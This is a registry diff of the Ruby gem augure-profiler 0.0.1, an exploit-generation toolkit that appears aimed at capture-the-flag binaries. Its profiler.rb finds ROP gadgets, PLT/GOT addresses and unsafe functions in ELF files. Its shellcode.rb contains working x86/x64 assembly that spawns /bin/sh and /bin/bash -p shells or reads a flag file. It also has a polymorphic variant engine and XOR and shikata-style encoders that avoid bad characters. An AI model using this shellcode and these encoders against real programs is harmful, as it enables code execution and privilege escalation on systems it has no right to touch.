augure-profiler 0.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/exe/augure-profile +42 -0
- data/home/runner/work/augure/augure/profiler/exe/augure-profile +42 -0
- data/home/runner/work/augure/augure/profiler/lib/augure-profiler/dynamic_trace.rb +80 -0
- data/home/runner/work/augure/augure/profiler/lib/augure-profiler/fuzzer.rb +291 -0
- data/home/runner/work/augure/augure/profiler/lib/augure-profiler/gadget_hunt.rb +109 -0
- data/home/runner/work/augure/augure/profiler/lib/augure-profiler/profiler.rb +203 -0
- data/home/runner/work/augure/augure/profiler/lib/augure-profiler/shellcode.rb +329 -0
- data/home/runner/work/augure/augure/profiler/lib/augure-profiler/static_offset.rb +265 -0
- data/home/runner/work/augure/augure/profiler/lib/augure-profiler/version.rb +5 -0
- data/home/runner/work/augure/augure/profiler/lib/augure-profiler.rb +12 -0
- metadata +84 -0
|
@@ -0,0 +1,203 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "metasm"
|
|
4
|
+
require "augure"
|
|
5
|
+
|
|
6
|
+
module AugureProfiler
|
|
7
|
+
# Binary profiler: ELF in, augure facts out. The profiler speaks the fact
|
|
8
|
+
# schema and nothing else - augure decides, it never sees a binary.
|
|
9
|
+
#
|
|
10
|
+
# checksec comes from metasm ELF structures (pure Ruby, no subprocess);
|
|
11
|
+
# gadget enumeration slides semantic byte patterns over executable
|
|
12
|
+
# sections, named exactly like the frozen corpus vocabulary.
|
|
13
|
+
class Profiler
|
|
14
|
+
# Semantic names for ret-terminated gadget byte patterns, documented
|
|
15
|
+
# and ordered longest-first so the longest match wins.
|
|
16
|
+
GADGET_PATTERNS = [
|
|
17
|
+
["mov_deref_write", "48 89 38 c3"], # mov [rax], rdi ; ret
|
|
18
|
+
["mov_deref_write", "48 89 30 c3"], # mov [rax], rsi ; ret
|
|
19
|
+
["mov_deref_write", "48 89 10 c3"], # mov [rax], rdx ; ret
|
|
20
|
+
["mov_deref_write", "4d 89 3e c3"], # mov [r14], r15 ; ret (ROP Emporium write4)
|
|
21
|
+
["xchg_rsp_rax", "48 94 c3"], # xchg rsp, rax ; ret
|
|
22
|
+
["syscall_ret", "0f 05 c3"], # syscall ; ret
|
|
23
|
+
["int80_ret", "cd 80 c3"], # int 0x80 ; ret
|
|
24
|
+
["pop_rdi_ret", "5f c3"], # pop rdi ; ret
|
|
25
|
+
["pop_rsi_ret", "5e c3"], # pop rsi ; ret
|
|
26
|
+
["pop_rdx_ret", "5a c3"], # pop rdx ; ret
|
|
27
|
+
["pop_rax_ret", "58 c3"], # pop rax ; ret
|
|
28
|
+
["JMP_STACK", "ff e4"], # jmp esp/rsp - renamed per arch
|
|
29
|
+
["ret_align", "c3"] # ret
|
|
30
|
+
].freeze
|
|
31
|
+
|
|
32
|
+
# printf is NOT on the list: a constant format is not a vuln, and
|
|
33
|
+
# the hint would derive vuln(fmtstr) for every binary that prints -
|
|
34
|
+
# sprintf stays (unbounded by design).
|
|
35
|
+
UNSAFE_SYMBOLS = %w[gets strcpy strcat sprintf scanf].freeze
|
|
36
|
+
|
|
37
|
+
ET_DYN = "DYN"
|
|
38
|
+
|
|
39
|
+
def initialize(path)
|
|
40
|
+
@path = path
|
|
41
|
+
@elf = Metasm::ELF.decode_file(path)
|
|
42
|
+
end
|
|
43
|
+
|
|
44
|
+
def facts
|
|
45
|
+
facts = Augure::Facts.new
|
|
46
|
+
emit_checksec(facts)
|
|
47
|
+
emit_symbols(facts)
|
|
48
|
+
emit_gadgets(facts)
|
|
49
|
+
facts
|
|
50
|
+
end
|
|
51
|
+
|
|
52
|
+
private
|
|
53
|
+
|
|
54
|
+
def emit_checksec(facts)
|
|
55
|
+
facts.add("nx", exec_stack? ? "false" : "true")
|
|
56
|
+
facts.add("pie", (@elf.header.type.to_s == ET_DYN) ? "true" : "false")
|
|
57
|
+
facts.add("relro", relro_state)
|
|
58
|
+
end
|
|
59
|
+
|
|
60
|
+
def exec_stack?
|
|
61
|
+
stack = @elf.segments.find { |s| s.type.to_s == "GNU_STACK" }
|
|
62
|
+
stack&.flags&.map(&:to_s)&.include?("X")
|
|
63
|
+
end
|
|
64
|
+
|
|
65
|
+
def relro_state
|
|
66
|
+
relro = @elf.segments.any? { |s| s.type.to_s == "GNU_RELRO" }
|
|
67
|
+
return "none" unless relro
|
|
68
|
+
|
|
69
|
+
tags = @elf.instance_variable_get(:@tag) || {}
|
|
70
|
+
flags = (tags["FLAGS"] || []) + (tags["FLAGS_1"] || [])
|
|
71
|
+
(flags.any? { |f| f.to_s =~ /BIND_NOW|NOW/ }) ? "full" : "partial"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
def emit_symbols(facts)
|
|
75
|
+
names = @elf.symbols.map(&:name).compact.uniq
|
|
76
|
+
# plt facts describe REAL dynamic imports (shndx == UNDEF, FUNC
|
|
77
|
+
# type) - not any identifier-shaped symbol: a local function
|
|
78
|
+
# named `system` must not make the decision layer believe a PLT
|
|
79
|
+
# stub exists.
|
|
80
|
+
@elf.symbols.each do |sym|
|
|
81
|
+
facts.add("plt", sym.name) if plt_symbol?(sym)
|
|
82
|
+
end
|
|
83
|
+
emit_plt_addresses(facts)
|
|
84
|
+
names.each do |n|
|
|
85
|
+
facts.add("vuln_hint", "unsafe_func:#{n}") if UNSAFE_SYMBOLS.include?(n)
|
|
86
|
+
end
|
|
87
|
+
# CTF heuristic: a local win/flag function = a callable target
|
|
88
|
+
# (the ret2func family's target_function fact). The winning
|
|
89
|
+
# symbol keeps its name AND its address - the payload builder
|
|
90
|
+
# needs the address, not just the existence.
|
|
91
|
+
@elf.symbols.each do |sym|
|
|
92
|
+
next unless sym.name.to_s.match?(/\Awin\z|win\z|flag\z/)
|
|
93
|
+
|
|
94
|
+
facts.add("target_function", "true")
|
|
95
|
+
facts.add("win_symbol", sym.name, sym.value.to_i)
|
|
96
|
+
end
|
|
97
|
+
if names.include?("__stack_chk_fail")
|
|
98
|
+
facts.add("canary", "true")
|
|
99
|
+
else
|
|
100
|
+
facts.add("canary", "false")
|
|
101
|
+
end
|
|
102
|
+
end
|
|
103
|
+
|
|
104
|
+
# The addresses a ROP chain resolves against: the JMP_SLOT
|
|
105
|
+
# relocations carry the GOT entry (r_offset) and the PLT stub is
|
|
106
|
+
# computable from the section layout (.plt.sec: 16*i; .plt: 16*(i+1)).
|
|
107
|
+
def emit_plt_addresses(facts)
|
|
108
|
+
plt_sec = @elf.sections.find { |s| s.name.to_s == ".plt.sec" }
|
|
109
|
+
plt = @elf.sections.find { |s| s.name.to_s == ".plt" }
|
|
110
|
+
jmp_slots = @elf.relocations.select { |r| r.type.to_s.include?("JMP_SLOT") }
|
|
111
|
+
jmp_slots.each_with_index do |r, i|
|
|
112
|
+
name = r.symbol&.name
|
|
113
|
+
next unless name.is_a?(String) && !name.empty?
|
|
114
|
+
|
|
115
|
+
stub = if plt_sec
|
|
116
|
+
plt_sec.addr.to_i + 16 * i
|
|
117
|
+
else
|
|
118
|
+
plt && (plt.addr.to_i + 16 * (i + 1))
|
|
119
|
+
end
|
|
120
|
+
facts.add("got_addr", name, r.offset.to_i) if r.offset
|
|
121
|
+
facts.add("plt_addr", name, stub) if stub
|
|
122
|
+
end
|
|
123
|
+
end
|
|
124
|
+
|
|
125
|
+
def arch_index
|
|
126
|
+
(@elf.header.e_class.to_s == "64") ? 0 : 1
|
|
127
|
+
end
|
|
128
|
+
|
|
129
|
+
def plt_symbol?(sym)
|
|
130
|
+
sym.name.to_s =~ /\A[a-zA-Z_][a-zA-Z0-9_]*\z/ &&
|
|
131
|
+
sym.shndx.to_s == "UNDEF" && sym.type.to_s == "FUNC"
|
|
132
|
+
end
|
|
133
|
+
|
|
134
|
+
def emit_gadgets(facts)
|
|
135
|
+
executable_sections.each do |section|
|
|
136
|
+
bytes = section_bytes(section)
|
|
137
|
+
next if bytes.nil? || bytes.empty?
|
|
138
|
+
|
|
139
|
+
stack_jump = %w[jmp_rsp jmp_esp][arch_index]
|
|
140
|
+
scan_gadgets(bytes, section.addr.to_i).each do |(type, addr)|
|
|
141
|
+
name = type
|
|
142
|
+
name = stack_jump if type == "JMP_STACK"
|
|
143
|
+
facts.add("gadget", name, addr)
|
|
144
|
+
end
|
|
145
|
+
end
|
|
146
|
+
emit_csu_gadgets(facts)
|
|
147
|
+
end
|
|
148
|
+
|
|
149
|
+
def executable_sections
|
|
150
|
+
@elf.sections.select { |s| s.flags.map(&:to_s).include?("EXECINSTR") }
|
|
151
|
+
end
|
|
152
|
+
|
|
153
|
+
# metasm exposes section metadata but not raw bytes here; read straight
|
|
154
|
+
# from the file at the section offset.
|
|
155
|
+
def section_bytes(section)
|
|
156
|
+
File.open(@path) do |f|
|
|
157
|
+
f.seek(section.offset.to_i)
|
|
158
|
+
f.read(section.size.to_i)
|
|
159
|
+
end&.bytes
|
|
160
|
+
rescue
|
|
161
|
+
nil
|
|
162
|
+
end
|
|
163
|
+
|
|
164
|
+
# The patterns precompiled ONCE to byte arrays: scanning compares
|
|
165
|
+
# integers (String#index skip), not hex-string slices per position
|
|
166
|
+
# (the old hex.map + split-per-position was ~100x slower).
|
|
167
|
+
# The patterns precompiled ONCE to binary strings: the scan runs
|
|
168
|
+
# String#index (memmem in C) per pattern, not a hex-slice compare
|
|
169
|
+
# per byte position (the original was ~100x slower; an Array-slice
|
|
170
|
+
# version was 2x slower still).
|
|
171
|
+
GADGET_BIN = GADGET_PATTERNS.map do |(type, pattern)|
|
|
172
|
+
[type, pattern.split(" ").map { |h| h.to_i(16) }.pack("C*")]
|
|
173
|
+
end.freeze
|
|
174
|
+
|
|
175
|
+
def scan_gadgets(bytes, base_addr)
|
|
176
|
+
data = bytes.is_a?(String) ? bytes : bytes.pack("C*")
|
|
177
|
+
data = data.b
|
|
178
|
+
hits = []
|
|
179
|
+
GADGET_BIN.each_with_index do |(type, pat), order|
|
|
180
|
+
off = 0
|
|
181
|
+
while (off = data.index(pat, off))
|
|
182
|
+
hits << [order, type, base_addr + off]
|
|
183
|
+
off += pat.size
|
|
184
|
+
end
|
|
185
|
+
end
|
|
186
|
+
# position first, then the pattern-table order (the original
|
|
187
|
+
# first-match-wins semantics preserved byte for byte)
|
|
188
|
+
hits.sort_by! { |(order, _type, addr)| [addr, order] }
|
|
189
|
+
hits.map { |(_order, type, addr)| [type, addr] }
|
|
190
|
+
end
|
|
191
|
+
|
|
192
|
+
# Static binaries expose the __libc_csu_init universal gadgets under
|
|
193
|
+
# well-known symbols; their presence IS the gadget fact.
|
|
194
|
+
def emit_csu_gadgets(facts)
|
|
195
|
+
names = @elf.symbols.map(&:name).compact
|
|
196
|
+
return unless names.include?("__libc_csu_init")
|
|
197
|
+
|
|
198
|
+
sym = @elf.symbols.find { |s| s.name == "__libc_csu_init" }
|
|
199
|
+
facts.add("gadget", "csu_popper", sym.value.to_i)
|
|
200
|
+
facts.add("gadget", "csu_mov", sym.value.to_i + 0x40)
|
|
201
|
+
end
|
|
202
|
+
end
|
|
203
|
+
end
|
|
@@ -0,0 +1,329 @@
|
|
|
1
|
+
# frozen_string_literal: true
|
|
2
|
+
|
|
3
|
+
require "metasm"
|
|
4
|
+
|
|
5
|
+
module AugureProfiler
|
|
6
|
+
# The target's word size, from the ELF class: which shellcode variant
|
|
7
|
+
# to assemble and how wide the return address is.
|
|
8
|
+
def self.arch(path)
|
|
9
|
+
elf = Metasm::ELF.decode_file(path)
|
|
10
|
+
(elf.header.e_class.to_s == "64") ? :x64 : :x86
|
|
11
|
+
end
|
|
12
|
+
|
|
13
|
+
# The payload source: assembly TEXT, versioned and auditable, assembled
|
|
14
|
+
# on demand. No hex blobs - the shellcode of the original tool (%shc in
|
|
15
|
+
# dbg.pm) becomes readable source assembled by metasm, which the
|
|
16
|
+
# profiler already depends on. The call-back layout keeps every stub
|
|
17
|
+
# position-independent without relocations.
|
|
18
|
+
#
|
|
19
|
+
# Each stub carries EQUIVALENT VARIANTS (the ghost-writing idea from
|
|
20
|
+
# the metasm talks): same semantics, different bytes. rng: a seeded
|
|
21
|
+
# Random - the variant picked is deterministic per seed, so the audit
|
|
22
|
+
# can reproduce the exact payload.
|
|
23
|
+
module Shellcode
|
|
24
|
+
SOURCES = {
|
|
25
|
+
sh: {
|
|
26
|
+
x64: [
|
|
27
|
+
<<~ASM,
|
|
28
|
+
call shellcode
|
|
29
|
+
path:
|
|
30
|
+
db "/bin/sh", 0
|
|
31
|
+
shellcode:
|
|
32
|
+
pop rdi
|
|
33
|
+
xor esi, esi
|
|
34
|
+
xor edx, edx
|
|
35
|
+
push 59
|
|
36
|
+
pop rax
|
|
37
|
+
syscall
|
|
38
|
+
ASM
|
|
39
|
+
<<~ASM
|
|
40
|
+
call shellcode
|
|
41
|
+
path:
|
|
42
|
+
db "/bin/sh", 0
|
|
43
|
+
shellcode:
|
|
44
|
+
pop rdi
|
|
45
|
+
push 0
|
|
46
|
+
pop rsi
|
|
47
|
+
push 59
|
|
48
|
+
pop rax
|
|
49
|
+
cdq
|
|
50
|
+
syscall
|
|
51
|
+
ASM
|
|
52
|
+
],
|
|
53
|
+
x86: [
|
|
54
|
+
<<~ASM,
|
|
55
|
+
call shellcode
|
|
56
|
+
path:
|
|
57
|
+
db "/bin/sh", 0
|
|
58
|
+
shellcode:
|
|
59
|
+
pop ebx
|
|
60
|
+
xor ecx, ecx
|
|
61
|
+
push 11
|
|
62
|
+
pop eax
|
|
63
|
+
int 80h
|
|
64
|
+
ASM
|
|
65
|
+
<<~ASM
|
|
66
|
+
call shellcode
|
|
67
|
+
path:
|
|
68
|
+
db "/bin/sh", 0
|
|
69
|
+
shellcode:
|
|
70
|
+
pop ebx
|
|
71
|
+
push 11
|
|
72
|
+
pop eax
|
|
73
|
+
cdq
|
|
74
|
+
xor ecx, ecx
|
|
75
|
+
int 80h
|
|
76
|
+
ASM
|
|
77
|
+
]
|
|
78
|
+
},
|
|
79
|
+
orw: {
|
|
80
|
+
x64: [
|
|
81
|
+
<<~ASM
|
|
82
|
+
call readflag
|
|
83
|
+
path:
|
|
84
|
+
db "PATH_SLOT", 0
|
|
85
|
+
readflag:
|
|
86
|
+
pop rdi
|
|
87
|
+
push 2
|
|
88
|
+
pop rax
|
|
89
|
+
xor esi, esi
|
|
90
|
+
xor edx, edx
|
|
91
|
+
syscall
|
|
92
|
+
mov rdi, rax
|
|
93
|
+
sub rsp, 128
|
|
94
|
+
mov rsi, rsp
|
|
95
|
+
push 64
|
|
96
|
+
pop rdx
|
|
97
|
+
push 0
|
|
98
|
+
pop rax
|
|
99
|
+
syscall
|
|
100
|
+
mov rdx, rax
|
|
101
|
+
mov rsi, rsp
|
|
102
|
+
push 1
|
|
103
|
+
pop rdi
|
|
104
|
+
push 1
|
|
105
|
+
pop rax
|
|
106
|
+
syscall
|
|
107
|
+
push 60
|
|
108
|
+
pop rax
|
|
109
|
+
xor edi, edi
|
|
110
|
+
syscall
|
|
111
|
+
ASM
|
|
112
|
+
],
|
|
113
|
+
x86: [
|
|
114
|
+
<<~ASM
|
|
115
|
+
call readflag
|
|
116
|
+
path:
|
|
117
|
+
db "PATH_SLOT", 0
|
|
118
|
+
readflag:
|
|
119
|
+
pop ebx
|
|
120
|
+
xor ecx, ecx
|
|
121
|
+
xor edx, edx
|
|
122
|
+
mov eax, 5
|
|
123
|
+
int 80h
|
|
124
|
+
mov ebx, eax
|
|
125
|
+
sub esp, 128
|
|
126
|
+
mov ecx, esp
|
|
127
|
+
mov edx, 64
|
|
128
|
+
mov eax, 3
|
|
129
|
+
int 80h
|
|
130
|
+
mov edx, eax
|
|
131
|
+
mov ecx, esp
|
|
132
|
+
mov ebx, 1
|
|
133
|
+
mov eax, 4
|
|
134
|
+
int 80h
|
|
135
|
+
ASM
|
|
136
|
+
]
|
|
137
|
+
},
|
|
138
|
+
bash: {
|
|
139
|
+
x64: [
|
|
140
|
+
<<~ASM
|
|
141
|
+
call shellcode
|
|
142
|
+
path:
|
|
143
|
+
db "/bin/bash", 0
|
|
144
|
+
arg:
|
|
145
|
+
db "-p", 0
|
|
146
|
+
shellcode:
|
|
147
|
+
pop rdi
|
|
148
|
+
lea rsi, [rdi+10]
|
|
149
|
+
push 0
|
|
150
|
+
mov rdx, rsp
|
|
151
|
+
push rsi
|
|
152
|
+
push rdi
|
|
153
|
+
mov rsi, rsp
|
|
154
|
+
pop rdi
|
|
155
|
+
mov eax, 59
|
|
156
|
+
syscall
|
|
157
|
+
ASM
|
|
158
|
+
],
|
|
159
|
+
x86: [
|
|
160
|
+
<<~ASM
|
|
161
|
+
call shellcode
|
|
162
|
+
path:
|
|
163
|
+
db "/bin/bash", 0
|
|
164
|
+
arg:
|
|
165
|
+
db "-p", 0
|
|
166
|
+
shellcode:
|
|
167
|
+
pop ebx
|
|
168
|
+
lea ecx, [ebx+10]
|
|
169
|
+
push 0
|
|
170
|
+
mov edx, esp
|
|
171
|
+
push ecx
|
|
172
|
+
push ebx
|
|
173
|
+
mov ecx, esp
|
|
174
|
+
mov eax, 11
|
|
175
|
+
int 80h
|
|
176
|
+
ASM
|
|
177
|
+
]
|
|
178
|
+
}
|
|
179
|
+
}.freeze
|
|
180
|
+
|
|
181
|
+
# The equivalence pools (the ghost-writing engine): each named slot
|
|
182
|
+
# has semantically equal replacements; the rng picks per slot and
|
|
183
|
+
# inserts camouflage between the independent blocks. Deterministic
|
|
184
|
+
# per seed - the audit reproduces the exact payload.
|
|
185
|
+
EQUIVALENCES = {
|
|
186
|
+
"zero_edx" => {"x64" => ["xor edx, edx", "push 0\npop rdx"],
|
|
187
|
+
"x86" => ["xor edx, edx", "push 0\npop edx"]},
|
|
188
|
+
"zero_esi" => {"x64" => ["xor esi, esi", "push 0\npop rsi"]},
|
|
189
|
+
"zero_ecx" => {"x86" => ["xor ecx, ecx", "push 0\npop ecx"]},
|
|
190
|
+
"load_callnum" => {"x64" => ["push 59\npop rax", "mov eax, 59"],
|
|
191
|
+
"x86" => ["push 11\npop eax", "mov eax, 11"]},
|
|
192
|
+
"junk" => {"x64" => ["xchg ax, ax", "nop", "xchg r8, r8"],
|
|
193
|
+
"x86" => ["xchg ax, ax", "nop"]}
|
|
194
|
+
}.freeze
|
|
195
|
+
|
|
196
|
+
def self.polymorph(source, arch, rng)
|
|
197
|
+
return source unless rng
|
|
198
|
+
|
|
199
|
+
key = (arch == :x64) ? "x64" : "x86"
|
|
200
|
+
# the named slots, when the source uses the standard forms, get
|
|
201
|
+
# replaced by a pool alternative
|
|
202
|
+
out = source
|
|
203
|
+
if source.include?("xor edx, edx")
|
|
204
|
+
out = out.sub("xor edx, edx",
|
|
205
|
+
EQUIVALENCES["zero_edx"][key].sample(random: rng))
|
|
206
|
+
end
|
|
207
|
+
if source.include?("xor esi, esi") && key == "x64"
|
|
208
|
+
out = out.sub("xor esi, esi",
|
|
209
|
+
EQUIVALENCES["zero_esi"][key].sample(random: rng))
|
|
210
|
+
end
|
|
211
|
+
if source.include?("xor ecx, ecx") && key == "x86"
|
|
212
|
+
out = out.sub("xor ecx, ecx",
|
|
213
|
+
EQUIVALENCES["zero_ecx"][key].sample(random: rng))
|
|
214
|
+
end
|
|
215
|
+
if source.include?("push 59\npop rax")
|
|
216
|
+
out = out.sub("push 59\npop rax",
|
|
217
|
+
EQUIVALENCES["load_callnum"][key].sample(random: rng))
|
|
218
|
+
end
|
|
219
|
+
if source.include?("push 11\npop eax")
|
|
220
|
+
out = out.sub("push 11\npop eax",
|
|
221
|
+
EQUIVALENCES["load_callnum"][key].sample(random: rng))
|
|
222
|
+
end
|
|
223
|
+
# camouflage between the blocks: a junk instruction after the path
|
|
224
|
+
if out =~ /^(\s*path:\n.*?0\n)/m
|
|
225
|
+
junk = EQUIVALENCES["junk"][key].sample(random: rng)
|
|
226
|
+
out = out.sub(/^(\s*shellcode:\n)/) { "#{junk}\n" + Regexp.last_match(1) }
|
|
227
|
+
end
|
|
228
|
+
out
|
|
229
|
+
end
|
|
230
|
+
|
|
231
|
+
# klass: Metasm::X64 or Metasm::Ia32 (the target architecture).
|
|
232
|
+
# path: the parameter for the path-bearing stubs (sh/bash exec the
|
|
233
|
+
# path; orw reads it - the seccomp answer reads /flag, not a shell).
|
|
234
|
+
# Returns the assembled bytes.
|
|
235
|
+
def self.generate(klass, stub = :sh, path: nil, rng: nil)
|
|
236
|
+
arch = (klass == Metasm::X64) ? :x64 : :x86
|
|
237
|
+
variants = SOURCES.fetch(stub).fetch(arch)
|
|
238
|
+
source = rng ? variants.sample(random: rng) : variants.first
|
|
239
|
+
source = source.gsub("PATH_SLOT", path.to_s) if path
|
|
240
|
+
raise ArgumentError, "this stub needs a path" if source.include?("PATH_SLOT")
|
|
241
|
+
|
|
242
|
+
source = polymorph(source, arch, rng)
|
|
243
|
+
Metasm::Shellcode.assemble(klass.new, source).encode_string
|
|
244
|
+
end
|
|
245
|
+
end
|
|
246
|
+
|
|
247
|
+
# The encoders: the payload must survive the channel it travels
|
|
248
|
+
# through. Two answers:
|
|
249
|
+
# - encode: a xor-key wrapper for a badchar list - the minimal
|
|
250
|
+
# decoder stub assembled on the fly;
|
|
251
|
+
# - encode_polymorphic: the shikata_ga_nai inheritance - a feedback
|
|
252
|
+
# decoder (each decoded byte seeds the next), the key per seed,
|
|
253
|
+
# camouflage between the decodes. metasploit encodes to beat the
|
|
254
|
+
# antivirus; we encode to cross the channel, and the output stays
|
|
255
|
+
# RE-PLAYABLE: the seed plus the source reproduce the exact bytes.
|
|
256
|
+
module Encoder
|
|
257
|
+
module_function
|
|
258
|
+
|
|
259
|
+
def encode(bytes, badchars:, rng: nil, arch: :x64)
|
|
260
|
+
# the constant-key flavour of the keyed decoder: key1 = key2 = k,
|
|
261
|
+
# the same zero-free layout, the retry over the whole output
|
|
262
|
+
raw = bytes.respond_to?(:bytes) ? bytes.bytes : bytes
|
|
263
|
+
raise ArgumentError, "the payload exceeds 120 bytes - a 0x00-free channel needs a wider decoder" if raw.size > 120
|
|
264
|
+
|
|
265
|
+
255.times do |k|
|
|
266
|
+
next if badchars.include?(k)
|
|
267
|
+
|
|
268
|
+
enc = raw.map { |b| b ^ k }
|
|
269
|
+
enc += [0x90] while enc.size < 120
|
|
270
|
+
full = wrap_keyed_decoder(enc, k, k, arch)
|
|
271
|
+
return {bytes: full, key: k} if (full.unpack("C*") & badchars).empty?
|
|
272
|
+
end
|
|
273
|
+
raise ArgumentError, "no xor key avoids the badchars"
|
|
274
|
+
end
|
|
275
|
+
|
|
276
|
+
def encode_polymorphic(bytes, badchars:, rng:, arch: :x64)
|
|
277
|
+
raise ArgumentError, "the polymorphic encoder needs a seed" unless rng
|
|
278
|
+
|
|
279
|
+
raw = bytes.respond_to?(:bytes) ? bytes.bytes : bytes
|
|
280
|
+
raise ArgumentError, "the payload exceeds 120 bytes - a 0x00-free channel needs a wider decoder" if raw.size > 120
|
|
281
|
+
|
|
282
|
+
512.times do
|
|
283
|
+
key1 = rng.rand(1..0xff)
|
|
284
|
+
key2 = rng.rand(1..0xff)
|
|
285
|
+
enc = raw.each_with_index.map { |b, i| b ^ (i.even? ? key1 : key2) }
|
|
286
|
+
enc += [0x90] while enc.size < 120
|
|
287
|
+
full = wrap_keyed_decoder(enc, key1, key2, arch)
|
|
288
|
+
return {bytes: full, keys: [key1, key2]} if (full.unpack("C*") & badchars).empty?
|
|
289
|
+
end
|
|
290
|
+
raise ArgumentError, "no key pair avoids the badchars"
|
|
291
|
+
end
|
|
292
|
+
|
|
293
|
+
def wrap_keyed_decoder(enc, key1, key2, arch)
|
|
294
|
+
klass = (arch == :x64) ? Metasm::X64 : Metasm::Ia32
|
|
295
|
+
data = enc.pack("C*")
|
|
296
|
+
size = enc.size
|
|
297
|
+
dest = (arch == :x64) ? "rdi" : "ebx"
|
|
298
|
+
k1 = (arch == :x64) ? "rax" : "eax"
|
|
299
|
+
k2 = (arch == :x64) ? "rbx" : "ebx"
|
|
300
|
+
cnt = (arch == :x64) ? "rcx" : "ecx"
|
|
301
|
+
# The zero-free get-pc, the shikata layout: the decoder first, the
|
|
302
|
+
# backward call (a negative rel32 carries ff bytes, never 00), the
|
|
303
|
+
# payload right after the call, the loop falls through into it.
|
|
304
|
+
asm = <<~ASM
|
|
305
|
+
jmp gz1
|
|
306
|
+
gz0:
|
|
307
|
+
pop #{dest}
|
|
308
|
+
push #{size}
|
|
309
|
+
pop #{cnt}
|
|
310
|
+
push #{key1}
|
|
311
|
+
pop #{k1}
|
|
312
|
+
push #{key2}
|
|
313
|
+
pop #{k2}
|
|
314
|
+
loop:
|
|
315
|
+
xor byte ptr [#{dest}], al
|
|
316
|
+
xchg al, bl
|
|
317
|
+
inc #{dest}
|
|
318
|
+
dec #{cnt}
|
|
319
|
+
jnz loop
|
|
320
|
+
jmp pay0
|
|
321
|
+
gz1:
|
|
322
|
+
call gz0
|
|
323
|
+
pay0:
|
|
324
|
+
db #{data.bytes.map { |b| "0x#{b.to_s(16)}" }.join(", ")}
|
|
325
|
+
ASM
|
|
326
|
+
Metasm::Shellcode.assemble(klass.new, asm).encode_string
|
|
327
|
+
end
|
|
328
|
+
end
|
|
329
|
+
end
|